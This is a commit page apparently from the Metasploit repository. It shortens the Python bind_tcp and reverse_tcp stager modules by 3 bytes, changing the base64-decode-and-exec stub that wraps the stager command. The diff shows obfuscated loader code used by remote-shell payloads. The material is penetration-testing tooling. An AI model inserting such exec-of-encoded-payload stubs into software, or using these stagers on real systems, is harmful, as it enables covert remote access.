Skip to content

Commit 0e4177f

Browse files
committed
Pymeterpreter shorten stagers by 3 bytes
1 parent 95376bf commit 0e4177f

File tree

2 files changed

+4
-4
lines changed

2 files changed

+4
-4
lines changed

modules/payloads/stagers/python/bind_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,8 +42,8 @@ def generate
4242
cmd << "exec(d,{'s':c})\n"
4343

4444
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
45-
b64_stub = "import base64,sys; exec(base64.b64decode("
46-
b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('"
45+
b64_stub = "import base64,sys;exec(base64.b64decode("
46+
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
4747
b64_stub << Rex::Text.encode_base64(cmd)
4848
b64_stub << "')))"
4949
return b64_stub

modules/payloads/stagers/python/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,8 @@ def generate
4040
cmd << "exec(d,{'s':s})\n"
4141

4242
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
43-
b64_stub = "import base64,sys; exec(base64.b64decode("
44-
b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('"
43+
b64_stub = "import base64,sys;exec(base64.b64decode("
44+
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
4545
b64_stub << Rex::Text.encode_base64(cmd)
4646
b64_stub << "')))"
4747
return b64_stub

0 commit comments

Comments
 (0)